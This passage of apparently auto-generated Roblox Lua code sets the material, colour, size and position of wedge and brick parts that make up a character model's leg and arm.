		WedgePart52.CFrame = CFrame.new(85.2099533, 4.71623325, 69.1954803, 1, -1.67652124e-05, 7.60012563e-06, -1.80716834e-05, -0.972671926, 0.232184038, 3.49981519e-06, -0.232184038, -0.972671926)
		WedgePart52.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart52.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart52.Position = Vector3.new(85.2099533, 4.71623325, 69.1954803)
		WedgePart52.Orientation = Vector3.new(-13.4300003, 180, -180)
		WedgePart52.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart53.Parent = Model1
		WedgePart53.Material = Enum.Material.SmoothPlastic
		WedgePart53.BrickColor = BrickColor.new("Navy blue")
		WedgePart53.Reflectance = 0.0049999998882413
		WedgePart53.Rotation = Vector3.new(13.4300003, 0, -90)
		WedgePart53.Anchored = true
		WedgePart53.CanCollide = false
		WedgePart53.FormFactor = Enum.FormFactor.Symmetric
		WedgePart53.Size = Vector3.new(0.220499977, 0.385874987, 0.79909116)
		WedgePart53.CFrame = CFrame.new(84.9075699, 5.39255524, 67.3724747, 1.11450326e-07, 0.999996722, -9.83475843e-07, -0.972667575, -1.19211848e-07, -0.232179835, -0.232180044, 9.53674544e-07, 0.972667694)
		WedgePart53.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart53.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart53.Position = Vector3.new(84.9075699, 5.39255524, 67.3724747)
		WedgePart53.Orientation = Vector3.new(13.4300003, 0, -90)
		WedgePart53.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart54.Parent = Model1
		WedgePart54.Material = Enum.Material.SmoothPlastic
		WedgePart54.BrickColor = BrickColor.new("Navy blue")
		WedgePart54.Reflectance = 0.0049999998882413
		WedgePart54.Rotation = Vector3.new(13.4300003, 0, -180)
		WedgePart54.Anchored = true
		WedgePart54.CanCollide = false
		WedgePart54.Size = Vector3.new(0.220499977, 0.245587617, 0.567151427)
		WedgePart54.CFrame = CFrame.new(84.2177048, 4.8474412, 68.6509781, -0.99999994, 1.67656744e-05, 7.46475916e-06, -1.80406896e-05, -0.972671866, -0.232184008, 3.36804032e-06, -0.232183963, 0.972671926)
		WedgePart54.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart54.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart54.Position = Vector3.new(84.2177048, 4.8474412, 68.6509781)
		WedgePart54.Orientation = Vector3.new(13.4300003, 0, -180)
		WedgePart54.Color = Color3.new(0, 0.12549, 0.376471)
		Model55.Name = "LeftLeg"
		Model55.Parent = Model0
		Part56.Name = "Left Leg1"
		Part56.Parent = Model55
		Part56.BrickColor = BrickColor.new("Pastel yellow")
		Part56.Transparency = 1
		Part56.Rotation = Vector3.new(0, -90, 0)
		Part56.Anchored = true
		Part56.CanCollide = false
		Part56.FormFactor = Enum.FormFactor.Symmetric
		Part56.Size = Vector3.new(1, 2, 1)
		Part56.CFrame = CFrame.new(84.6178741, 1.43210542, 70.6219406, 0, 0, -1, 0, 1, 0, 1, 0, 0)
		Part56.BottomSurface = Enum.SurfaceType.Smooth
		Part56.Color = Color3.new(1, 1, 0.8)
		Part56.Position = Vector3.new(84.6178741, 1.43210542, 70.6219406)
		Part56.Orientation = Vector3.new(0, -90, 0)
		Part56.Color = Color3.new(1, 1, 0.8)
		Model57.Name = "RightArm"
		Model57.Parent = Model0
		Part58.Name = "Right Arm1"
		Part58.Parent = Model57
		Part58.BrickColor = BrickColor.new("Pastel yellow")
		Part58.Transparency = 1
		Part58.Rotation = Vector3.new(0, -90, 0)
		Part58.Anchored = true
		Part58.CanCollide = false
		Part58.FormFactor = Enum.FormFactor.Symmetric
		Part58.Size = Vector3.new(1, 2, 1)
		Part58.CFrame = CFrame.new(84.7411346, 2.97469735, 72.663681, 8.15269212e-21, -2.35065841e-06, -1, -9.82558219e-19, 1, -2.35065841e-06, 1, 9.82558219e-19, 8.15038264e-21)
		Part58.Color = Color3.new(1, 1, 0.8)
		Part58.Position = Vector3.new(84.7411346, 2.97469735, 72.663681)
		Part58.Orientation = Vector3.new(0, -90, 0)
		Part58.Color = Color3.new(1, 1, 0.8)
		WedgePart59.Parent = Model57
		WedgePart59.Material = Enum.Material.SmoothPlastic
		WedgePart59.BrickColor = BrickColor.new("Black")
		WedgePart59.Reflectance = 0.0049999998882413
		WedgePart59.Rotation = Vector3.new(166.570007, 0, 90)
		WedgePart59.Anchored = true
		WedgePart59.CanCollide = false
		WedgePart59.FormFactor = Enum.FormFactor.Symmetric
		WedgePart59.Size = Vector3.new(0.201244384, 0.201244384, 0.628686726)
		WedgePart59.CFrame = CFrame.new(84.2616959, 4.99801111, 74.0790176, -5.42963967e-08, -0.999996722, -1.74767589e-10, -0.972667396, 4.60768206e-08, -0.232180774, 0.232180953, 1.65832912e-08, -0.972667456)
		WedgePart59.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart59.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart59.Position = Vector3.new(84.2616959, 4.99801111, 74.0790176)
		WedgePart59.Orientation = Vector3.new(13.4300003, -180, -90)
		WedgePart59.Color = Color3.new(0.105882, 0.164706, 0.207843)
		Part60.Name = "Brick"
		Part60.Parent = Model57
		Part60.Material = Enum.Material.SmoothPlastic
		Part60.BrickColor = BrickColor.new("Medium blue")
		Part60.Rotation = Vector3.new(0, 90, 0)
		Part60.Anchored = true
		Part60.CanCollide = false
		Part60.FormFactor = Enum.FormFactor.Symmetric
		Part60.Size = Vector3.new(1.23828077, 0.200000003, 1.23717237)
		Part60.CFrame = CFrame.new(84.7160492, 2.58102369, 72.6230316, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
		Part60.BottomSurface = Enum.SurfaceType.Smooth
		Part60.TopSurface = Enum.SurfaceType.Smooth
		Part60.Color = Color3.new(0.431373, 0.6, 0.792157)
		Part60.Position = Vector3.new(84.7160492, 2.58102369, 72.6230316)
		Part60.Orientation = Vector3.new(0, 90, 0)
		Part60.Color = Color3.new(0.431373, 0.6, 0.792157)
		BlockMesh61.Parent = Part60
		Part62.Name = "Brick"
		Part62.Parent = Model57
		Part62.Material = Enum.Material.SmoothPlastic
		Part62.BrickColor = BrickColor.new("Navy blue")
		Part62.Reflectance = 0.0049999998882413
		Part62.Rotation = Vector3.new(91.5699997, 0, 180)
		Part62.Anchored = true
		Part62.CanCollide = false
		Part62.FormFactor = Enum.FormFactor.Symmetric
		Part62.Size = Vector3.new(0.220499977, 0.233191282, 1.15868151)
		Part62.CFrame = CFrame.new(85.2099533, 4.37128067, 73.2928162, -1, -2.60803667e-13, 2.9527652e-12, 2.84009643e-12, 0.0274504386, -0.99962306, -1.86642856e-13, -0.99962306, -0.0274504386)
		Part62.BottomSurface = Enum.SurfaceType.Smooth
		Part62.TopSurface = Enum.SurfaceType.Smooth
		Part62.Color = Color3.new(0, 0.12549, 0.376471)
		Part62.Position = Vector3.new(85.2099533, 4.37128067, 73.2928162)
		Part62.Orientation = Vector3.new(88.4300003, 180, 0)
		Part62.Color = Color3.new(0, 0.12549, 0.376471)
		BlockMesh63.Parent = Part62
		WedgePart64.Parent = Model57
		WedgePart64.Material = Enum.Material.SmoothPlastic
		WedgePart64.BrickColor = BrickColor.new("Navy blue")
		WedgePart64.Reflectance = 0.0049999998882413
		WedgePart64.Rotation = Vector3.new(166.570007, 0, 0)
		WedgePart64.Anchored = true
		WedgePart64.CanCollide = false
		WedgePart64.Size = Vector3.new(0.220499977, 0.247997627, 0.567640364)
		WedgePart64.CFrame = CFrame.new(85.2099533, 4.84621668, 73.5864563, 1, -1.67652124e-05, -7.6001279e-06, -1.8071687e-05, -0.972671807, -0.232184678, -3.49980428e-06, 0.232184678, -0.972671807)
		WedgePart64.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart64.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart64.Position = Vector3.new(85.2099533, 4.84621668, 73.5864563)
		WedgePart64.Orientation = Vector3.new(13.4300003, -180, -180)
		WedgePart64.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart65.Parent = Model57
		WedgePart65.Material = Enum.Material.SmoothPlastic
		WedgePart65.BrickColor = BrickColor.new("Navy blue")
		WedgePart65.Reflectance = 0.0049999998882413
		WedgePart65.Rotation = Vector3.new(166.570007, 0, 0)
		WedgePart65.Anchored = true
		WedgePart65.CanCollide = false
		WedgePart65.Size = Vector3.new(0.220499977, 0.245587617, 0.567151427)
		WedgePart65.CFrame = CFrame.new(84.2177048, 4.84744263, 73.5864029, 0.99999994, 1.67656744e-05, 7.46475916e-06, 1.80406932e-05, -0.972671747, -0.232184559, 3.36802987e-06, 0.232184559, -0.972671807)
		WedgePart65.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart65.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart65.Position = Vector3.new(84.2177048, 4.84744263, 73.5864029)
		WedgePart65.Orientation = Vector3.new(13.4300003, 180, 180)
		WedgePart65.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart66.Parent = Model57
		WedgePart66.Material = Enum.Material.SmoothPlastic
		WedgePart66.BrickColor = BrickColor.new("Navy blue")
		WedgePart66.Reflectance = 0.0049999998882413
		WedgePart66.Rotation = Vector3.new(-13.4300003, 0, 180)
		WedgePart66.Anchored = true
		WedgePart66.CanCollide = false
		WedgePart66.Size = Vector3.new(0.220499977, 0.247997627, 0.551983833)
		WedgePart66.CFrame = CFrame.new(85.2099533, 4.71623421, 73.0419388, -1, -1.67652124e-05, 7.60012608e-06, 1.8071687e-05, -0.972671807, 0.232184619, 3.49980428e-06, 0.232184619, 0.972671807)
		WedgePart66.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart66.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart66.Position = Vector3.new(85.2099533, 4.71623421, 73.0419388)
		WedgePart66.Orientation = Vector3.new(-13.4300003, 0, 180)
		WedgePart66.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart67.Parent = Model57
		WedgePart67.Material = Enum.Material.SmoothPlastic
		WedgePart67.BrickColor = BrickColor.new("Navy blue")
		WedgePart67.Reflectance = 0.0049999998882413
		WedgePart67.Rotation = Vector3.new(166.570007, 0, -90)
		WedgePart67.Anchored = true
		WedgePart67.CanCollide = false
		WedgePart67.FormFactor = Enum.FormFactor.Symmetric
		WedgePart67.Size = Vector3.new(0.220499977, 0.220499977, 0.688841164)
		WedgePart67.CFrame = CFrame.new(85.209816, 5.21992493, 74.1431198, -5.43020455e-08, 0.999996722, 1.75842618e-10, 0.972667396, 4.60712606e-08, -0.232180774, -0.232180953, 1.65836624e-08, -0.972667456)
		WedgePart67.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart67.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart67.Position = Vector3.new(85.209816, 5.21992493, 74.1431198)
		WedgePart67.Orientation = Vector3.new(13.4300003, 180, 90)
		WedgePart67.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart68.Parent = Model57
		WedgePart68.Material = Enum.Material.SmoothPlastic
		WedgePart68.BrickColor = BrickColor.new("Navy blue")
		WedgePart68.Reflectance = 0.0049999998882413
		WedgePart68.Rotation = Vector3.new(166.570007, 0, -90)
		WedgePart68.Anchored = true
		WedgePart68.CanCollide = false
		WedgePart68.FormFactor = Enum.FormFactor.Symmetric
		WedgePart68.Size = Vector3.new(0.220499977, 0.385874987, 0.79909116)
		WedgePart68.CFrame = CFrame.new(84.9075699, 5.39256382, 74.8649445, -1.11450369e-07, 0.999996722, -9.83476184e-07, 0.972667456, -1.1921243e-07, -0.232180417, -0.232180595, -9.53674203e-07, -0.972667515)
		WedgePart68.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart68.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart68.Position = Vector3.new(84.9075699, 5.39256382, 74.8649445)
		WedgePart68.Orientation = Vector3.new(13.4300003, -180, 90)
		WedgePart68.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart69.Parent = Model57
		WedgePart69.Material = Enum.Material.SmoothPlastic
		WedgePart69.BrickColor = BrickColor.new("Navy blue")
		WedgePart69.Reflectance = 0.0049999998882413
		WedgePart69.Rotation = Vector3.new(-13.4300003, 0, -180)
		WedgePart69.Anchored = true
		WedgePart69.CanCollide = false
		WedgePart69.Size = Vector3.new(0.220499977, 0.245587617, 0.546620429)
		WedgePart69.CFrame = CFrame.new(84.2177048, 4.71814156, 73.0447464, -0.99999994, 1.67656744e-05, -7.46475735e-06, -1.80406932e-05, -0.972671747, 0.23218447, -3.36802987e-06, 0.23218447, 0.972671807)
		WedgePart69.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart69.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart69.Position = Vector3.new(84.2177048, 4.71814156, 73.0447464)
		WedgePart69.Orientation = Vector3.new(-13.4300003, 0, -180)
		WedgePart69.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart70.Parent = Model57
		WedgePart70.Material = Enum.Material.SmoothPlastic
		WedgePart70.BrickColor = BrickColor.new("Navy blue")
		WedgePart70.Reflectance = 0.0049999998882413
		WedgePart70.Rotation = Vector3.new(166.570007, 0, 90)
		WedgePart70.Anchored = true
		WedgePart70.CanCollide = false
		WedgePart70.FormFactor = Enum.FormFactor.Symmetric
		WedgePart70.Size = Vector3.new(0.220499977, 0.385874987, 0.79909116)
		WedgePart70.CFrame = CFrame.new(84.5220337, 5.39256382, 74.8649445, -1.11444727e-07, -0.999996722, 9.83477094e-07, -0.972667456, -1.19206732e-07, -0.232180417, 0.232180595, -9.53674316e-07, -0.972667515)
		WedgePart70.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart70.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart70.Position = Vector3.new(84.5220337, 5.39256382, 74.8649445)
		WedgePart70.Orientation = Vector3.new(13.4300003, 180, -90)
		WedgePart70.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart71.Parent = Model57
		WedgePart71.Material = Enum.Material.SmoothPlastic
		WedgePart71.BrickColor = BrickColor.new("Navy blue")
		WedgePart71.Reflectance = 0.0049999998882413
		WedgePart71.Rotation = Vector3.new(166.570007, 0, 90)
		WedgePart71.Anchored = true
		WedgePart71.CanCollide = false
		WedgePart71.FormFactor = Enum.FormFactor.Symmetric
		WedgePart71.Size = Vector3.new(0.220499977, 0.220499977, 0.688841164)
		WedgePart71.CFrame = CFrame.new(84.2184372, 5.21992493, 74.1431198, -5.42963967e-08, -0.999996722, -1.74767589e-10, -0.972667396, 4.60768206e-08, -0.232180774, 0.232180953, 1.65832912e-08, -0.972667456)
		WedgePart71.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart71.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart71.Position = Vector3.new(84.2184372, 5.21992493, 74.1431198)
		WedgePart71.Orientation = Vector3.new(13.4300003, -180, -90)
		WedgePart71.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart72.Parent = Model57
		WedgePart72.Material = Enum.Material.SmoothPlastic
		WedgePart72.BrickColor = BrickColor.new("Black")
		WedgePart72.Reflectance = 0.0049999998882413
		WedgePart72.Rotation = Vector3.new(166.570007, 0, 0)
		WedgePart72.Anchored = true
		WedgePart72.CanCollide = false
		WedgePart72.Size = Vector3.new(0.201244384, 0.226340756, 0.518070102)
		WedgePart72.CFrame = CFrame.new(85.166626, 4.65694332, 73.5709457, 1, -1.67652124e-05, -7.6001279e-06, -1.8071687e-05, -0.972671807, -0.232184678, -3.49980428e-06, 0.232184678, -0.972671807)
		WedgePart72.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart72.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart72.Position = Vector3.new(85.166626, 4.65694332, 73.5709457)
		WedgePart72.Orientation = Vector3.new(13.4300003, -180, -180)
		WedgePart72.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart73.Parent = Model57
		WedgePart73.Material = Enum.Material.SmoothPlastic
		WedgePart73.BrickColor = BrickColor.new("Black")
		WedgePart73.Reflectance = 0.0049999998882413
		WedgePart73.Rotation = Vector3.new(-13.4300003, 0, 180)
		WedgePart73.Anchored = true
		WedgePart73.CanCollide = false
		WedgePart73.Size = Vector3.new(0.201244384, 0.226340756, 0.503780782)
		WedgePart73.CFrame = CFrame.new(85.166626, 4.53830671, 73.0739899, -1, -1.67652124e-05, 7.60012608e-06, 1.8071687e-05, -0.972671807, 0.232184619, 3.49980428e-06, 0.232184619, 0.972671807)
		WedgePart73.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart73.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart73.Position = Vector3.new(85.166626, 4.53830671, 73.0739899)
		WedgePart73.Orientation = Vector3.new(-13.4300003, 0, 180)
		WedgePart73.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart74.Parent = Model57
		WedgePart74.Material = Enum.Material.SmoothPlastic
		WedgePart74.BrickColor = BrickColor.new("Black")
		WedgePart74.Reflectance = 0.0049999998882413
		WedgePart74.Rotation = Vector3.new(166.570007, 0, 90)
		WedgePart74.Anchored = true
		WedgePart74.CanCollide = false
		WedgePart74.FormFactor = Enum.FormFactor.Symmetric
		WedgePart74.Size = Vector3.new(0.201244384, 0.352177709, 0.729308963)
		WedgePart74.CFrame = CFrame.new(84.5387802, 5.15557623, 74.7378082, -1.11444727e-07, -0.999996722, 9.83477094e-07, -0.972667456, -1.19206732e-07, -0.232180417, 0.232180595, -9.53674316e-07, -0.972667515)
		WedgePart74.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart74.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart74.Position = Vector3.new(84.5387802, 5.15557623, 74.7378082)
		WedgePart74.Orientation = Vector3.new(13.4300003, 180, -90)
		WedgePart74.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart75.Parent = Model57
		WedgePart75.Material = Enum.Material.SmoothPlastic
		WedgePart75.BrickColor = BrickColor.new("Black")
		WedgePart75.Reflectance = 0.0049999998882413
		WedgePart75.Rotation = Vector3.new(166.570007, 0, -90)
		WedgePart75.Anchored = true
		WedgePart75.CanCollide = false
		WedgePart75.FormFactor = Enum.FormFactor.Symmetric
		WedgePart75.Size = Vector3.new(0.201244384, 0.201244384, 0.628686726)
		WedgePart75.CFrame = CFrame.new(85.1665039, 4.99801111, 74.0790176, -5.43020455e-08, 0.999996722, 1.75842618e-10, 0.972667396, 4.60712606e-08, -0.232180774, -0.232180953, 1.65836624e-08, -0.972667456)
		WedgePart75.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart75.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart75.Position = Vector3.new(85.1665039, 4.99801111, 74.0790176)
		WedgePart75.Orientation = Vector3.new(13.4300003, 180, 90)
		WedgePart75.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart76.Parent = Model57
		WedgePart76.Material = Enum.Material.SmoothPlastic
		WedgePart76.BrickColor = BrickColor.new("Black")
		WedgePart76.Reflectance = 0.0049999998882413
		WedgePart76.Rotation = Vector3.new(-13.4300003, 0, -180)
		WedgePart76.Anchored = true
		WedgePart76.CanCollide = false
		WedgePart76.Size = Vector3.new(0.201244384, 0.224141195, 0.498885751)
		WedgePart76.CFrame = CFrame.new(84.2610245, 4.54004765, 73.0765152, -0.99999994, 1.67656744e-05, -7.46475735e-06, -1.80406932e-05, -0.972671747, 0.23218447, -3.36802987e-06, 0.23218447, 0.972671807)
		WedgePart76.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart76.Color = Color3.new(0.105882, 0.164706, 0.207843)
		WedgePart76.Position = Vector3.new(84.2610245, 4.54004765, 73.0765152)
		WedgePart76.Orientation = Vector3.new(-13.4300003, 0, -180)
		WedgePart76.Color = Color3.new(0.105882, 0.164706, 0.207843)
		Part77.Name = "Brick"
		Part77.Parent = Model57
		Part77.Material = Enum.Material.SmoothPlastic
		Part77.BrickColor = BrickColor.new("Navy blue")
		Part77.Rotation = Vector3.new(0, 90, 0)
		Part77.Anchored = true
		Part77.CanCollide = false
		Part77.FormFactor = Enum.FormFactor.Symmetric
		Part77.Size = Vector3.new(1.19828081, 0.570214629, 1.1971724)
		Part77.CFrame = CFrame.new(84.7160492, 2.46018195, 72.6230011, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
		Part77.BottomSurface = Enum.SurfaceType.Smooth
		Part77.TopSurface = Enum.SurfaceType.Smooth
		Part77.Color = Color3.new(0, 0.12549, 0.376471)
		Part77.Position = Vector3.new(84.7160492, 2.46018195, 72.6230011)
		Part77.Orientation = Vector3.new(0, 90, 0)
		Part77.Color = Color3.new(0, 0.12549, 0.376471)
		BlockMesh78.Parent = Part77
		Part79.Name = "Brick"
		Part79.Parent = Model57
		Part79.Material = Enum.Material.SmoothPlastic
		Part79.BrickColor = BrickColor.new("Medium blue")
		Part79.Rotation = Vector3.new(0, 90, 0)
		Part79.Anchored = true
		Part79.CanCollide = false
		Part79.FormFactor = Enum.FormFactor.Symmetric
		Part79.Size = Vector3.new(1.23828077, 0.200000003, 1.23717237)
		Part79.CFrame = CFrame.new(84.7160492, 2.31716919, 72.6229935, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
		Part79.BottomSurface = Enum.SurfaceType.Smooth
		Part79.TopSurface = Enum.SurfaceType.Smooth
		Part79.Color = Color3.new(0.431373, 0.6, 0.792157)
		Part79.Position = Vector3.new(84.7160492, 2.31716919, 72.6229935)
		Part79.Orientation = Vector3.new(0, 90, 0)
		Part79.Color = Color3.new(0.431373, 0.6, 0.792157)
		BlockMesh80.Parent = Part79
		Part81.Name = "Brick"
		Part81.Parent = Model57
		Part81.Material = Enum.Material.SmoothPlastic
		Part81.BrickColor = BrickColor.new("Really black")
		Part81.Rotation = Vector3.new(0, 90, 0)
		Part81.Anchored = true
		Part81.CanCollide = false
		Part81.FormFactor = Enum.FormFactor.Symmetric
		Part81.Size = Vector3.new(1.09828091, 1.83832359, 1.0971725)
		Part81.CFrame = CFrame.new(84.7160492, 3.1047945, 72.6229782, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
		Part81.BottomSurface = Enum.SurfaceType.Smooth
		Part81.TopSurface = Enum.SurfaceType.Smooth
		Part81.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		Part81.Position = Vector3.new(84.7160492, 3.1047945, 72.6229782)
		Part81.Orientation = Vector3.new(0, 90, 0)
		Part81.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		BlockMesh82.Parent = Part81
		Part83.Name = "Brick"
		Part83.Parent = Model57
		Part83.Material = Enum.Material.SmoothPlastic
		Part83.BrickColor = BrickColor.new("Navy blue")
		Part83.Reflectance = 0.0049999998882413
		Part83.Rotation = Vector3.new(91.5699997, 0, 180)
		Part83.Anchored = true
		Part83.CanCollide = false
		Part83.FormFactor = Enum.FormFactor.Symmetric
		Part83.Size = Vector3.new(1.0134685, 0.220499977, 1.16327846)
		Part83.CFrame = CFrame.new(84.6141891, 4.37454891, 73.3001938, -1, -2.60803667e-13, 2.9527652e-12, 2.84009643e-12, 0.0274504386, -0.99962306, -1.86642856e-13, -0.99962306, -0.0274504386)
		Part83.BottomSurface = Enum.SurfaceType.Smooth
		Part83.TopSurface = Enum.SurfaceType.Smooth
		Part83.Color = Color3.new(0, 0.12549, 0.376471)
		Part83.Position = Vector3.new(84.6141891, 4.37454891, 73.3001938)
		Part83.Orientation = Vector3.new(88.4300003, 180, 0)
		Part83.Color = Color3.new(0, 0.12549, 0.376471)
		BlockMesh84.Parent = Part83
		Part85.Name = "Brick"
		Part85.Parent = Model57
		Part85.Material = Enum.Material.SmoothPlastic
		Part85.BrickColor = BrickColor.new("Black")
		Part85.Reflectance = 0.0049999998882413
		Part85.Rotation = Vector3.new(76.5699997, 0, -180)
		Part85.Anchored = true
		Part85.CanCollide = false
		Part85.FormFactor = Enum.FormFactor.Symmetric
		Part85.Size = Vector3.new(1.10684443, 1.46009409, 0.201244384)
		Part85.CFrame = CFrame.new(84.713829, 4.75552559, 73.0631714, -1, 5.37522772e-13, 2.93691568e-12, 2.84009643e-12, -0.232184634, -0.972671747, -1.86642856e-13, -0.972671747, 0.232184634)
		Part85.BottomSurface = Enum.SurfaceType.Smooth
		Part85.TopSurface = Enum.SurfaceType.Smooth
		Part85.Color = Color3.new(0.105882, 0.164706, 0.207843)
		Part85.Position = Vector3.new(84.713829, 4.75552559, 73.0631714)
		Part85.Orientation = Vector3.new(76.5699997, 0, 180)
		Part85.Color = Color3.new(0.105882, 0.164706, 0.207843)
		BlockMesh86.Parent = Part85
		Part87.Name = "Brick"
		Part87.Parent = Model57
		Part87.Material = Enum.Material.SmoothPlastic
		Part87.BrickColor = BrickColor.new("Black")
		Part87.Reflectance = 0.0049999998882413
		Part87.Rotation = Vector3.new(91.5699997, 0, 180)
		Part87.Anchored = true
		Part87.CanCollide = false
		Part87.FormFactor = Enum.FormFactor.Symmetric
		Part87.Size = Vector3.new(0.924965441, 0.201244384, 1.06169295)
		Part87.CFrame = CFrame.new(84.6228943, 4.22646284, 73.3096848, -1, -2.60803667e-13, 2.9527652e-12, 2.84009643e-12, 0.0274504386, -0.99962306, -1.86642856e-13, -0.99962306, -0.0274504386)
		Part87.BottomSurface = Enum.SurfaceType.Smooth
		Part87.TopSurface = Enum.SurfaceType.Smooth
		Part87.Color = Color3.new(0.105882, 0.164706, 0.207843)
		Part87.Position = Vector3.new(84.6228943, 4.22646284, 73.3096848)
		Part87.Orientation = Vector3.new(88.4300003, 180, 0)
		Part87.Color = Color3.new(0.105882, 0.164706, 0.207843)
		BlockMesh88.Parent = Part87
		Part89.Name = "Brick"
		Part89.Parent = Model57
		Part89.Material = Enum.Material.SmoothPlastic
		Part89.BrickColor = BrickColor.new("Black")
		Part89.Reflectance = 0.0049999998882413
		Part89.Rotation = Vector3.new(91.5699997, 0, 180)
		Part89.Anchored = true
		Part89.CanCollide = false
		Part89.FormFactor = Enum.FormFactor.Symmetric
		Part89.Size = Vector3.new(0.201244384, 0.212827399, 1.0574975)
		Part89.CFrame = CFrame.new(85.166626, 4.22347784, 73.3029556, -1, -2.60803667e-13, 2.9527652e-12, 2.84009643e-12, 0.0274504386, -0.99962306, -1.86642856e-13, -0.99962306, -0.0274504386)
		Part89.BottomSurface = Enum.SurfaceType.Smooth
		Part89.TopSurface = Enum.SurfaceType.Smooth
		Part89.Color = Color3.new(0.105882, 0.164706, 0.207843)
		Part89.Position = Vector3.new(85.166626, 4.22347784, 73.3029556)
		Part89.Orientation = Vector3.new(88.4300003, 180, 0)
		Part89.Color = Color3.new(0.105882, 0.164706, 0.207843)
		BlockMesh90.Parent = Part89
		Part91.Name = "Brick"
		Part91.Parent = Model57
		Part91.Material = Enum.Material.SmoothPlastic
		Part91.BrickColor = BrickColor.new("Black")
		Part91.Reflectance = 0.0049999998882413
		Part91.Rotation = Vector3.new(100.769997, 0, 180)
		Part91.Anchored = true
		Part91.CanCollide = false
		Part91.FormFactor = Enum.FormFactor.Symmetric
		Part91.Size = Vector3.new(0.201244384, 1.03670979, 0.806359112)
		Part91.CFrame = CFrame.new(84.2610321, 4.18972492, 72.7606277, -1, -7.07928887e-13, 2.79888959e-12, 2.84009643e-12, 0.186831623, -0.982391953, -1.86642856e-13, -0.982391953, -0.186831623)
		Part91.BottomSurface = Enum.SurfaceType.Smooth
		Part91.TopSurface = Enum.SurfaceType.Smooth
		Part91.Color = Color3.new(0.105882, 0.164706, 0.207843)
		Part91.Position = Vector3.new(84.2610321, 4.18972492, 72.7606277)
		Part91.Orientation = Vector3.new(79.2300034, 180, 0)
		Part91.Color = Color3.new(0.105882, 0.164706, 0.207843)
		BlockMesh92.Parent = Part91
		Part93.Name = "Brick"
		Part93.Parent = Model57
		Part93.Material = Enum.Material.SmoothPlastic
		Part93.BrickColor = BrickColor.new("Navy blue")
		Part93.Reflectance = 0.0049999998882413
		Part93.Rotation = Vector3.new(100.769997, 0, 180)
		Part93.Anchored = true
		Part93.CanCollide = false
		Part93.FormFactor = Enum.FormFactor.Symmetric
		Part93.Size = Vector3.new(1.21275008, 0.220499977, 0.883513689)
		Part93.CFrame = CFrame.new(84.713829, 4.4197588, 72.2485504, -1, -7.07928887e-13, 2.79888959e-12, 2.84009643e-12, 0.186831623, -0.982391953, -1.86642856e-13, -0.982391953, -0.186831623)
		Part93.BottomSurface = Enum.SurfaceType.Smooth
		Part93.TopSurface = Enum.SurfaceType.Smooth
		Part93.Color = Color3.new(0, 0.12549, 0.376471)
		Part93.Position = Vector3.new(84.713829, 4.4197588, 72.2485504)
		Part93.Orientation = Vector3.new(79.2300034, 180, 0)
		Part93.Color = Color3.new(0, 0.12549, 0.376471)
		BlockMesh94.Parent = Part93
		Part95.Name = "Brick"
		Part95.Parent = Model57
		Part95.Material = Enum.Material.SmoothPlastic
		Part95.BrickColor = BrickColor.new("Navy blue")
		Part95.Reflectance = 0.0049999998882413
		Part95.Rotation = Vector3.new(76.5699997, 0, -180)
		Part95.Anchored = true
		Part95.CanCollide = false
		Part95.FormFactor = Enum.FormFactor.Symmetric
		Part95.Size = Vector3.new(1.21275008, 1.59979963, 0.220499977)
